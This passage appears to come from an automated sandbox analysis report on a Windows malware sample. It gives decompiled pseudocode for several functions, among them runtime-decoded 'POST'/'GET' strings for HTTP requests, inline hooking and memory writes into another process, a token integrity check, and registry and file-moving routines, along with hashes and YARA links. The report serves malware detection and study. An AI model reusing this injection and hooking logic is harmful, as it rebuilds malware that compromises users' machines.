				}
				if((_a20 & 0x00000004) != 0) {
					_t66 = _t66 | 0x00800000;
				}
				lstrcpyA( &_v24, "QPTU");
				_t42 =  &_v24;
				if(_v24 == 0) {
					L6:
					lstrcpyA( &_v12, "HFU");
					_t45 =  &_v12;
					if(_v12 == 0) {
						L8:
						lstrcpyA( &_v8, "+0+");
						_t48 =  &_v8;
						if(_v8 == 0) {
							L10:
							_v32 =  &_v8;
							_v28 = 0;
							_t50 =  &_v24;
							if((_a20 & 0x00000001) == 0) {
								_t50 =  &_v12;
							}
							_t67 =  *0x4229bc(_a4, _t50, _a8, "HTTP/1.1", 0,  &_v32, _t66, 0);
							if(_t67 == 0) {
								L23:
								return 0;
							} else {
								if(_v16 == 0) {
									lstrcpyA( &_v52, 0x403f54);
									_t55 =  &_v52;
									if(_v52 == 0) {
										L17:
										_push(0x13);
										_t56 =  &_v52;
										_pop(0);
										L18:
										_push(_a16);
										_push(_a12);
										_push(0);
										_push(_t56);
										_push(_t67);
										if( *0x4237e4() == 0) {
											L22:
											 *0x422dd8(_t67);
											goto L23;
										}
										_push(0);
										_push( &_a8);
										_push( &_a20);
										_push(0x20000013);
										_push(_t67);
										_a20 = 0;
										_a8 = 4;
										if( *0x4237ec() == 0 || _a20 != 0xc8) {
											goto L22;
										} else {
											return _t67;
										}
									} else {
										goto L16;
									}
									do {
										L16:
										 *_t55 =  *_t55 - 1;
										_t55 = _t55 + 1;
									} while ( *_t55 != 0);
									goto L17;
								}
								_t56 = 0;
								goto L18;
							}
						} else {
							goto L9;
						}
						do {
							L9:
							 *_t48 =  *_t48 - 1;
							_t48 = _t48 + 1;
						} while ( *_t48 != 0);
						goto L10;
					} else {
						goto L7;
					}
					do {
						L7:
						 *_t45 =  *_t45 - 1;
						_t45 = _t45 + 1;
					} while ( *_t45 != 0);
					goto L8;
				} else {
					do {
						 *_t42 =  *_t42 - 1;
						_t42 = _t42 + 1;
					} while ( *_t42 != 0);
					goto L6;
				}
			}

0x0040ffc8
0x0040ffcc
0x0040ffd1
0x0040ffd4
0x0040ffd6
0x0040ffd6
0x0040ffdf
0x0040ffe1
0x0040ffe1
0x0040fff6
0x0040fffa
0x00410000
0x00410009
0x00410012
0x00410014
0x0041001a
0x00410023
0x0041002c
0x0041002e
0x00410034
0x0041003d
0x00410044
0x00410047
0x0041004a
0x0041004d
0x0041004f
0x0041004f
0x0041006b
0x0041006f
0x004100e6
0x00000000
0x00410071
0x00410074
0x00410085
0x00410087
0x0041008d
0x00410096
0x00410096
0x00410098
0x0041009b
0x0041009c
0x0041009c
0x0041009f
0x004100a2
0x004100a3
0x004100a4
0x004100ad
0x004100df
0x004100e0
0x00000000
0x004100e0
0x004100af
0x004100b3
0x004100b7
0x004100b8
0x004100bd
0x004100be
0x004100c1
0x004100d0
0x00000000
0x004100db
0x00000000
0x004100db
0x00000000
0x00000000
0x00000000
0x0041008f
0x0041008f
0x0041008f
0x00410091
0x00410092
0x00000000
0x0041008f
0x00410076
0x00000000
0x00410078
0x00000000
0x00000000
0x00000000
0x00410036
0x00410036
0x00410036
0x00410038
0x00410039
0x00000000
0x00000000
0x00000000
0x00000000
0x0041001c
0x0041001c
0x0041001c
0x0041001e
0x0041001f
0x00000000
0x00410002
0x00410002
0x00410002
0x00410004
0x00410005
0x00000000
0x00410002

APIs

lstrcpyA.KERNEL32(?,QPTU,?,?,00000000,?,00410327,00000000,?,?,?), ref: 0040FFF6
lstrcpyA.KERNEL32(?,HFU,?,00410327,00000000,?,?,?), ref: 00410012
lstrcpyA.KERNEL32(00000000,+0+,?,00410327,00000000,?,?,?), ref: 0041002C
lstrcpyA.KERNEL32(?,00403F54,?,00410327,00000000,?,?,?), ref: 00410085

Strings

HFU, xrefs: 00410009
+0+, xrefs: 00410023
HTTP/1.1, xrefs: 00410059
QPTU, xrefs: 0040FFED

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy
String ID: +0+$HFU$HTTP/1.1$QPTU
API String ID: 3722407311-75070323
Opcode ID: a6862ed2d84cd36808f8227352a2dc89569c1a61596eefd9453bef9e667b5913
Instruction ID: 7debac4a427d4d9e238c145eb95221101b5a2179931869d25450db216b3caef6
Opcode Fuzzy Hash: a6862ed2d84cd36808f8227352a2dc89569c1a61596eefd9453bef9e667b5913
Instruction Fuzzy Hash: 5141827290014DBEDB11DFA0E844EEF7F7DAB09300F54406BE541A7151E7B89AC9CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEF5, Relevance: 10.7, APIs: 7, Instructions: 216
filestringCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E0041DEF5(WCHAR* __ecx, signed char* _a4) {
				signed short _v160;
				char _v468;
				signed short _v504;
				char _v948;
				char _v1212;
				short _v1732;
				short _v1736;
				intOrPtr _v1740;
				signed char* _v1744;
				signed int _v1748;
				char* _v1752;
				void* _v1756;
				intOrPtr _v1760;
				intOrPtr _v1764;
				char _v1768;
				intOrPtr _v1772;
				signed int _v1776;
				signed int _v1780;
				void* _v1781;
				signed int _v1784;
				void* __ebx;
				void* __esi;
				signed int _t60;
				void* _t61;
				signed int _t69;
				signed int _t71;
				signed int _t72;
				signed int _t80;
				signed int _t83;
				long _t84;
				long _t85;
				signed int _t89;
				signed int _t101;
				signed int _t108;
				signed int _t110;
				WCHAR* _t123;
				signed char _t125;
				signed char* _t131;
				signed int _t134;
				void* _t136;
				void* _t140;
				signed int _t141;

				_t128 = __ecx;
				_t131 = _a4;
				_t60 = E00405367(__ecx,  *_t131, (0 |  *_t131 != 0x00000000) + 0x78d0c214, 2);
				_v1780 = _t60;
				if(_t60 != 0) {
					_t61 =  *0x42276c; // 0x0
					_v1756 = _t61;
					_v1752 =  &_v1212;
					_v1764 = E0041DD51;
					_v1760 = E0041DE8D;
					_v1744 = _t131;
					E00405606( &_v948);
					E0040E271( &_v1212,  &_v468, 0x102);
					_t69 =  *_t131 & 0x000000ff;
					__eflags = _t69;
					if(_t69 == 0) {
						_t71 = _v160 >> 0x10;
						__eflags = _t71;
						_v1780 = _t71;
						_t72 = _v160 & 0x0000ffff;
						goto L7;
					} else {
						__eflags = _t69 == 1;
						if(_t69 == 1) {
							_v1780 = _v504 >> 0x10;
							_t72 = _v504 & 0x0000ffff;
							L7:
							_v1776 = _t72;
						}
					}
					_v1780 = _v1780 * 0xea60;
					_v1776 = _v1776 * 0xea60;
					E0040E2E8( &_v948,  &_v948, 0, 0x3b0);
					_v1744 = 0;
					_t80 = E0040548D();
					__eflags = _t80;
					if(_t80 != 0) {
						do {
							__eflags =  *_t131;
							_v1781 = 1;
							if( *_t131 != 0) {
								L24:
								_t83 = E0041BDB6();
								_t138 = _t83;
								__eflags = _t83;
								if(__eflags == 0) {
									goto L29;
								} else {
									_v1780 = E00413F1D(0, _t129, __eflags, _t138, 0x4e23, 0x10000000);
									E0040E235(_t138);
									__eflags = _v1784;
									if(_v1784 == 0) {
										_t131 = _a4;
										goto L33;
									} else {
										_v1748 = _v1748 & 0;
										_t108 = E0041DB15(_t128, _t129,  &_v1748, 1);
										_t131 = _a4;
										__eflags = _t108;
										if(_t108 == 0) {
											L33:
											_t125 = _v1781;
										} else {
											_t131[8] = _t131[8] | 0xffffffff;
											_t110 = E0041E312( &_v1768);
											__eflags = _t110;
											_t125 = (0 | _t110 != 0x00000000) - 0x00000001 & 0x00000002;
											E0041434C( &(_t131[8]));
											E0040E235(_v1748);
										}
									}
									E0040E235(_v1768);
									__eflags = _t125 - 2;
									if(_t125 != 2) {
										__eflags = _t125;
										if(_t125 != 0) {
											goto L29;
										} else {
											_t84 = _v1780;
										}
									} else {
										_t84 = _v1776;
									}
								}
							} else {
								asm("sbb ebx, ebx");
								E0041D9D4( !( ~(_v1732 & 0x0000ffff)) &  &_v1732, _t128, 0);
								_t123 =  &(_t131[0x122]);
								_t89 = GetFileAttributesW( &_v1736);
								__eflags = _t89 - 0xffffffff;
								if(_t89 == 0xffffffff) {
									_t89 = GetFileAttributesW(0x423910);
									__eflags = _t89 - 0xffffffff;
									if(_t89 == 0xffffffff) {
										goto L29;
									} else {
										_t128 = 0x423910;
										goto L14;
									}
								} else {
									_t128 =  &_v1732;
									L14:
									_t129 = _t123;
									E0040E5D6(_t89 | 0xffffffff, _t128, _t129);
									_t140 = CreateFileW(_t123, 0x80000000, 7, 0, 3, 0, 0);
									__eflags = _t140 - 0xffffffff;
									if(_t140 == 0xffffffff) {
										L28:
										E0041363E(_t123);
										goto L29;
									} else {
										_v1744 = E00413617(_t128, _t140);
										_t134 = _t129;
										CloseHandle(_t140);
										__eflags = _v1744 - 0xffffffff;
										if(_v1744 != 0xffffffff) {
											L17:
											__eflags = _t134;
											if(__eflags > 0) {
												goto L28;
											} else {
												if(__eflags < 0) {
													L20:
													__eflags = lstrcmpiW(_t123,  &_v1732);
													if(__eflags == 0) {
														goto L24;
													} else {
														_t141 = E00405367(_t128, __eflags, 0x8793aef2, 2);
														__eflags = _t141;
														if(_t141 == 0) {
															L29:
															_t131 = _a4;
															_t84 = 0x7530;
														} else {
															_t101 = MoveFileExW(_t123,  &_v1732, 0xb);
															__eflags = _t101;
															if(_t101 == 0) {
																goto L29;
															} else {
																E00411B13(_t141);
																__eflags = _t101 | 0xffffffff;
																_t128 =  &_v1736;
																_t129 = _t123;
																E0040E5D6(_t101 | 0xffffffff,  &_v1736, _t123);
																goto L24;
															}
														}
													}
												} else {
													__eflags = _v1740 - 0xffffffff;
													if(_v1740 > 0xffffffff) {
														goto L28;
													} else {
														goto L20;
													}
												}
											}
										} else {
											__eflags = _t134;
											if(_t134 == 0) {
												goto L28;
											} else {
												goto L17;
											}
										}
									}
								}
							}
							_t85 = WaitForSingleObject( *0x42276c, _t84);
							__eflags = _t85 - 0x102;
						} while (_t85 == 0x102);
					}
					E00411B13(_v1772);
					_t136 = 0;
				} else {
					_t136 = 1;
				}
				E0040E235(_t131);
				return _t136;
			}

0x0041def5
0x0041df04
0x0041df18
0x0041df1d
0x0041df23
0x0041df39
0x0041df3e
0x0041df49
0x0041df54
0x0041df5c
0x0041df64
0x0041df68
0x0041df82
0x0041df8a
0x0041df8a
0x0041df8c
0x0041dfb0
0x0041dfb0
0x0041dfb3
0x0041dfb7
0x00000000
0x0041df8e
0x0041df8e
0x0041df8f
0x0041df9b
0x0041df9f
0x0041dfbf
0x0041dfbf
0x0041dfbf
0x0041df8f
0x0041dfcd
0x0041dfe0
0x0041dfed
0x0041dff4
0x0041dff9
0x0041dffe
0x0041e000
0x0041e006
0x0041e006
0x0041e009
0x0041e00e
0x0041e10e
0x0041e10e
0x0041e113
0x0041e115
0x0041e117
0x00000000
0x0041e119
0x0041e12c
0x0041e130
0x0041e135
0x0041e139
0x0041e1b1
0x00000000
0x0041e13b
0x0041e13b
0x0041e146
0x0041e14b
0x0041e14e
0x0041e150
0x0041e1b4
0x0041e1b4
0x0041e152
0x0041e155
0x0041e15c
0x0041e161
0x0041e168
0x0041e16b
0x0041e174
0x0041e174
0x0041e150
0x0041e1bc
0x0041e1c1
0x0041e1c4
0x0041e1cc
0x0041e1ce
0x00000000
0x0041e1d0
0x0041e1d0
0x0041e1d0
0x0041e1c6
0x0041e1c6
0x0041e1c6
0x0041e1c4
0x0041e014
0x0041e01b
0x0041e027
0x0041e037
0x0041e03d
0x0041e03f
0x0041e042
0x0041e050
0x0041e052
0x0041e055
0x00000000
0x0041e05b
0x0041e05b
0x00000000
0x0041e05b
0x0041e044
0x0041e044
0x0041e05d
0x0041e060
0x0041e062
0x0041e07c
0x0041e07e
0x0041e081
0x0041e17b
0x0041e17c
0x00000000
0x0041e087
0x0041e08e
0x0041e092
0x0041e094
0x0041e09a
0x0041e09f
0x0041e0a9
0x0041e0a9
0x0041e0ab
0x00000000
0x0041e0b1
0x0041e0b1
0x0041e0be
0x0041e0ca
0x0041e0cc
0x00000000
0x0041e0ce
0x0041e0da
0x0041e0dc
0x0041e0de
0x0041e181
0x0041e181
0x0041e184
0x0041e0e4
0x0041e0ec
0x0041e0f2
0x0041e0f4
0x00000000
0x0041e0fa
0x0041e0fb
0x0041e100
0x0041e103
0x0041e107
0x0041e109
0x00000000
0x0041e109
0x0041e0f4
0x0041e0de
0x0041e0b3
0x0041e0b3
0x0041e0b8
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e0b8
0x0041e0b1
0x0041e0a1
0x0041e0a1
0x0041e0a3
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e0a3
0x0041e09f
0x0041e081
0x0041e042
0x0041e190
0x0041e196
0x0041e196
0x0041e006
0x0041e1a5
0x0041e1aa
0x0041df25
0x0041df27
0x0041df27
0x0041df29
0x0041df36

APIs

Part of subcall function 00405367: CreateMutexW.KERNEL32(004222E0,00000000,?,?,?,?,?), ref: 00405388

GetFileAttributesW.KERNEL32(?,00000000,?,00000000,000003B0,?,?,00000102), ref: 0041E03D
CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 0041E076
CloseHandle.KERNEL32(00000000,00000000), ref: 0041E094
lstrcmpiW.KERNEL32(?,?), ref: 0041E0C4

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile$AttributesCloseFreeHandleHeapMutexlstrcmpi
String ID:
API String ID: 503543330-0
Opcode ID: 4afdc6b2104437afef22ca768d325749ef043da332cc5a506f8ba7b3a0cff395
Instruction ID: ffe74487b07ea2b291383551a122d29cd39adc932452d71e4e7b8c60f0679efa
Opcode Fuzzy Hash: 4afdc6b2104437afef22ca768d325749ef043da332cc5a506f8ba7b3a0cff395
Instruction Fuzzy Hash: 6571E671604350ABC720DF75CC81AABB7E8EF85314F040A2FF995A72D1D738D9868B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00412B1F, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108
injectionCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00412B1F(void* __eax, intOrPtr __ecx, void* __edx, void* __eflags, void* _a4, void* _a8) {
				char _v8;
				DWORD* _v12;
				intOrPtr _v47;
				void _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t48;
				void* _t59;
				intOrPtr _t62;
				void* _t64;
				intOrPtr* _t67;
				long _t69;
				DWORD* _t70;
				void* _t72;

				_t64 = __edx;
				_t62 = __ecx;
				_t59 = __eax;
				_t70 = 0;
				_v12 = 0;
				if(E00412ADA(_a4) < 0x1e) {
					L18:
					return _v12;
				}
				_t3 =  &_v8; // 0x404e55
				if(VirtualProtectEx(0xffffffff, _a4, 0x1e, 0x40, _t3) == 0) {
					goto L18;
				}
				E0040E2E8( &_v48,  &_v48, 0xffffff90, 0x23);
				if(ReadProcessMemory(0xffffffff, _a4,  &_v48, 0x1e, 0) == 0) {
					L17:
					_t31 =  &_v8; // 0x404e55
					_t32 =  &_v8; // 0x404e55
					VirtualProtectEx(0xffffffff, _a4, 0x1e,  *_t32, _t31);
					goto L18;
				} else {
					_t67 =  &_v48;
					_push(0);
					_push(_t67);
					while(1) {
						_t48 = E0041ECC0(_t59, _t62, _t64, _t67, _t70);
						if(_t48 == 0xffffffff) {
							break;
						}
						_t70 = _t70 + _t48;
						if(_t70 > 0x1e) {
							L16:
							goto L17;
						}
						_t62 =  *_t67;
						if(_t62 == 0xe9 || _t62 == 0xe8) {
							if(_t48 == 5) {
								 *((intOrPtr*)(_t67 + 1)) =  *((intOrPtr*)(_t67 + 1)) + _a4 - _a8;
							}
						}
						_push(0);
						if(_t70 >= 5) {
							_t17 = _t70 + 5; // 0x5
							_t69 = _t17;
							 *((intOrPtr*)(_t72 + _t70 - 0x2b)) = _a4 - _a8 - 5;
							 *((char*)(_t72 + _t70 - 0x2c)) = 0xe9;
							if(WriteProcessMemory(0xffffffff, _a8,  &_v48, _t69, ??) != 0) {
								_v48 = 0xe9;
								_v47 = _t59 - _a4 - 5;
								E0040D351(_a4, _a8);
								if(WriteProcessMemory(0xffffffff, _a4,  &_v48, 5, 0) != 0) {
									_v12 = _t69;
								}
							}
							goto L16;
						}
						_t67 = _t72 + _t70 - 0x2c;
						_push(_t67);
					}
					goto L16;
				}
			}

0x00412b1f
0x00412b1f
0x00412b27
0x00412b2c
0x00412b2e
0x00412b39
0x00412c35
0x00412c3b
0x00412c3b
0x00412b3f
0x00412b54
0x00000000
0x00000000
0x00412b62
0x00412b7b
0x00412c21
0x00412c21
0x00412c25
0x00412c2f
0x00000000
0x00412b81
0x00412b82
0x00412b85
0x00412b88
0x00412bbc
0x00412bbc
0x00412bc4
0x00000000
0x00000000
0x00412b8b
0x00412b90
0x00412c20
0x00000000
0x00412c20
0x00412b96
0x00412b9b
0x00412ba5
0x00412bad
0x00412bad
0x00412ba5
0x00412bb0
0x00412bb5
0x00412bce
0x00412bce
0x00412bd4
0x00412be0
0x00412bf1
0x00412bfe
0x00412c02
0x00412c05
0x00412c1b
0x00412c1d
0x00412c1d
0x00412c1b
0x00000000
0x00412bf1
0x00412bb7
0x00412bbb
0x00412bbb
0x00000000
0x00412bc6

APIs

Part of subcall function 00412ADA: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C,00000008,?,?,?,?,0040D2F1,00000000,00000000,00000009,0040D4CE,00422018,00000000), ref: 00412AEF

VirtualProtectEx.KERNEL32(000000FF,00000000,0000001E,00000040,UN@,-00000008,00000009,?,?,0040D412,?,00000000,?,?,0040D4CE,00422018), ref: 00412B4C
ReadProcessMemory.KERNEL32(000000FF,00000000,?,0000001E,00000000,?,00000090,00000023,?,?,0040D412,?,00000000,?,?,0040D4CE), ref: 00412B73
WriteProcessMemory.KERNEL32(000000FF,00422018,?,00000005,00000000,?,00000000,00000000), ref: 00412BED
WriteProcessMemory.KERNEL32(000000FF,00000000,000000E9,00000005,00000000), ref: 00412C17
VirtualProtectEx.KERNEL32(000000FF,00000002,0000001E,UN@,UN@,?,?,0040D412,?,00000000,?,?,0040D4CE,00422018,00000000,00404E55), ref: 00412C2F

Strings

UN@, xrefs: 00412B3F, 00412C21, 00412C25, 00412B42, 00412C24

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryProcessVirtual$ProtectWrite$QueryRead
String ID: UN@
API String ID: 390532180-2366641746
Opcode ID: 8578ef8c86b34dafa6815142a2ee7b51a8bd297490efdb4695ad728eca6c0b7c
Instruction ID: 98b616976f6ffccec18f1a96e72f7751048f44c018307c491fe89647b4724fe9
Opcode Fuzzy Hash: 8578ef8c86b34dafa6815142a2ee7b51a8bd297490efdb4695ad728eca6c0b7c
Instruction Fuzzy Hash: 93319632900219BBDF109FB9DE44EDE7B69DB09330F108716FA35E61D0D674D69087A9

Uniqueness

Uniqueness Score: -1.00%

Function 004053A2, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
injectionCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004053A2(void* __ecx, void* __edi, void* __esi, void* __eflags, void* _a4, void _a8) {
				char _v5;
				void _v12;
				intOrPtr _t25;
				void _t26;
				signed int _t29;
				void _t43;
				void* _t51;
				void* _t52;

				_t52 = __esi;
				_t51 = __edi;
				_t25 =  *0x4222bc; // 0x400000
				_t26 = E00412C3E(_t25, __edi);
				_v12 = _t26;
				if(_t26 != 0) {
					_v5 = 0;
					if(DuplicateHandle(0xffffffff, _a4, __edi,  &_a4, 0, 0, 2) == 0) {
						_v5 = 1;
					}
					_t29 =  *0x4222a8; // 0x1
					_a8 = _a8 | _t29 & 0x00000010;
					_push(_t52);
					if(WriteProcessMemory(_t51, 0x4222a8 -  *0x4222bc + _v12,  &_a8, 4, 0) == 0) {
						_v5 = _v5 + 1;
					}
					if(WriteProcessMemory(_t51, 0x4222bc -  *0x4222bc + _v12,  &_v12, 4, 0) == 0) {
						_v5 = _v5 + 1;
					}
					if(E00404A45(0x42276c, _t51, _v12,  *0x42276c) == 0) {
						_v5 = _v5 + 1;
					}
					if(E00404A45(0x422770, _t51, _v12,  *0x422770) == 0) {
						_v5 = _v5 + 1;
					}
					if(_v5 == 0) {
						_t43 = _v12;
					} else {
						VirtualFreeEx(_t51, _v12, 0, 0x8000);
						goto L1;
					}
				} else {
					L1:
					_t43 = 0;
				}
				return _t43;
			}

0x004053a2
0x004053a2
0x004053a7
0x004053ae
0x004053b5
0x004053ba
0x004053cf
0x004053dc
0x004053de
0x004053de
0x004053e2
0x004053ea
0x004053ed
0x0040540f
0x00405411
0x00405411
0x00405430
0x00405432
0x00405432
0x0040544b
0x0040544d
0x0040544d
0x00405466
0x00405468
0x00405468
0x0040546e
0x00405485
0x00405470
0x0040547a
0x00000000
0x0040547a
0x004053bc
0x004053bc
0x004053bc
0x004053bc
0x0040548a

APIs

Part of subcall function 00412C3E: IsBadReadPtr.KERNEL32(00400000,?,00000000,?,00000000), ref: 00412C5A

DuplicateHandle.KERNEL32(000000FF,?,00000000,?,00000000,00000000,00000002,00000000,00000000,?,?,?,0041EAA2,?,00000000,?), ref: 004053D4
WriteProcessMemory.KERNEL32(00000000,?,?,00000004,00000000,?,?,?,?,0041EAA2,?,00000000,?,?,0041EC66,?), ref: 0040540B
WriteProcessMemory.KERNEL32(00000000,?,?,00000004,00000000,?,?,?,0041EAA2,?,00000000,?,?,0041EC66,?,?), ref: 0040542B
VirtualFreeEx.KERNEL32(00000000,?,00000000,00008000,00000000,?,00000000,?,?,?,0041EAA2,?,00000000,?,?,0041EC66), ref: 0040547A

Strings

p'B, xrefs: 00405456
l'B, xrefs: 0040543B

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryProcessWrite$DuplicateFreeHandleReadVirtual
String ID: l'B$p'B
API String ID: 2215616122-3495298472
Opcode ID: 6b726d498619f2c87aeaea7be63aa02191d4a1730d43a026cb5f8b8c5d5a95cf
Instruction ID: 38d553b2db414c2bf88f11c3b6e19b84712d2caab90e3daead5c4992af901b0e
Opcode Fuzzy Hash: 6b726d498619f2c87aeaea7be63aa02191d4a1730d43a026cb5f8b8c5d5a95cf
Instruction Fuzzy Hash: 9521A672604149BEDB119BA4DE81FFF7F7CEB49344F4041A9FA01F2191D3759A468B28

Uniqueness

Uniqueness Score: -1.00%

Function 0040F989, Relevance: 10.6, APIs: 7, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040F989(void* __ecx) {
				long _v8;
				void* _v12;
				char* _t21;
				signed char _t22;
				DWORD* _t25;
				void* _t32;

				_t28 = 0;
				if(OpenProcessToken(0xffffffff, 8,  &_v12) == 0) {
					L14:
					return _t28;
				}
				if(GetTokenInformation(_v12, 0x19, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L13:
					CloseHandle(_v12);
					goto L14;
				} else {
					_t32 = E0040E205(_v8);
					if(_t32 == 0) {
						L12:
						goto L13;
					}
					if(GetTokenInformation(_v12, 0x19, _t32, _v8,  &_v8) != 0) {
						_t21 = GetSidSubAuthorityCount( *_t32);
						if(_t21 != 0) {
							_t22 =  *_t21;
							if(_t22 > 0) {
								_t25 = GetSidSubAuthority( *_t32, (_t22 & 0x000000ff) - 1);
								if(_t25 != 0) {
									if( *_t25 >= 0x2000) {
										asm("sbb bl, bl");
										_t28 = 3;
									} else {
										_t28 = 1;
									}
								}
							}
						}
					}
					E0040E235(_t32);
					goto L12;
				}
			}

0x0040f997
0x0040f9a1
0x0040fa37
0x0040fa3b
0x0040fa3b
0x0040f9bd
0x0040fa2d
0x0040fa30
0x00000000
0x0040f9ca
0x0040f9d3
0x0040f9d7
0x0040fa2c
0x00000000
0x0040fa2c
0x0040f9ea
0x0040f9ee
0x0040f9f6
0x0040f9f8
0x0040f9fc
0x0040fa05
0x0040fa0d
0x0040fa16
0x0040fa21
0x0040fa23
0x0040fa18
0x0040fa18
0x0040fa18
0x0040fa16
0x0040fa0d
0x0040f9fc
0x0040f9f6
0x0040fa27
0x00000000
0x0040fa27

APIs

OpenProcessToken.ADVAPI32(000000FF,00000008,?,?,?,?,?,00404B40,00000000,00405142), ref: 0040F999
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,00000000,73B74EE0,?,?,?,00404B40,00000000,00405142), ref: 0040F9B9
GetLastError.KERNEL32(?,?,?,00404B40,00000000,00405142), ref: 0040F9BF
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,00000000,73BB8170,?,?,?,00404B40,00000000,00405142), ref: 0040F9E6
GetSidSubAuthorityCount.ADVAPI32(00000000,?,?,?,00404B40,00000000,00405142), ref: 0040F9EE
GetSidSubAuthority.ADVAPI32(00000000,?,?,?,?,00404B40,00000000,00405142), ref: 0040FA05
CloseHandle.KERNEL32(?,?,?,?,00404B40,00000000,00405142), ref: 0040FA30

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Token$AuthorityInformation$CloseCountErrorHandleLastOpenProcess
String ID:
API String ID: 3714493844-0
Opcode ID: 48703bc9700d061a036fb2fc5d05f8e63fb6727947f2012b1185d9b36b15fb10
Instruction ID: a60efe655d19d6a7fc3d83542fbea29952818b13f18021c6f158ecee01ae4fc0
Opcode Fuzzy Hash: 48703bc9700d061a036fb2fc5d05f8e63fb6727947f2012b1185d9b36b15fb10
Instruction Fuzzy Hash: 9211AC72741008BFEB215BA8DD84EAE3BBDEB05350F100076F500F62A0D7399E49AB28

Uniqueness

Uniqueness Score: -1.00%

Function 004128E2, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004128E2(short* _a4) {
				char _v5;
				int _v12;
				void* _v16;
				void* _v20;
				int _v24;
				long _t18;

				_v5 = 0;
				_t18 = RegCreateKeyExW(0x80000001, L"SOFTWARE\\Microsoft", 0, 0, 0, 4, 0,  &_v16, 0);
				_t33 = _t18;
				if(_t18 == 0) {
					_v12 = 0;
					do {
						E00412746(6, 4, _t33, 2, _a4);
						if(RegCreateKeyExW(_v16, _a4, 0, 0, 0, 3, 0,  &_v20,  &_v24) != 0) {
							goto L4;
						} else {
							RegCloseKey(_v20);
							if(_v24 == 1) {
								_v5 = 1;
							} else {
								goto L4;
							}
						}
						L7:
						RegCloseKey(_v16);
						goto L8;
						L4:
						_v12 = _v12 + 1;
					} while (_v12 < 0x64);
					goto L7;
				}
				L8:
				return _v5;
			}

0x00412907
0x0041290a
0x0041290c
0x0041290e
0x00412917
0x0041291a
0x00412923
0x00412940
0x00000000
0x00412942
0x00412945
0x0041294b
0x00412958
0x00000000
0x00000000
0x00000000
0x0041294b
0x0041295c
0x0041295f
0x00000000
0x0041294d
0x0041294d
0x00412950
0x00000000
0x00412956
0x00412962
0x00412968

APIs

RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 0041290A

Part of subcall function 00412746: CharUpperW.USER32(00000000,?,.exe,00000000,00000000), ref: 00412867

RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?,00000002,?), ref: 0041293C
RegCloseKey.ADVAPI32(?), ref: 00412945
RegCloseKey.ADVAPI32(?), ref: 0041295F

Strings

d, xrefs: 00412950
SOFTWARE\Microsoft, xrefs: 004128FD

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreate$CharUpper
String ID: SOFTWARE\Microsoft$d
API String ID: 1794619670-1227932965
Opcode ID: ca4c4908b7463bcfc425b25ad310bae35be212f1e740b64fa210a2f521bc13df
Instruction ID: 65b6b7e135f0c68d9a53d4928bd5d9efdccdbbf1ee18eff92fb4eca0c10d9834
Opcode Fuzzy Hash: ca4c4908b7463bcfc425b25ad310bae35be212f1e740b64fa210a2f521bc13df
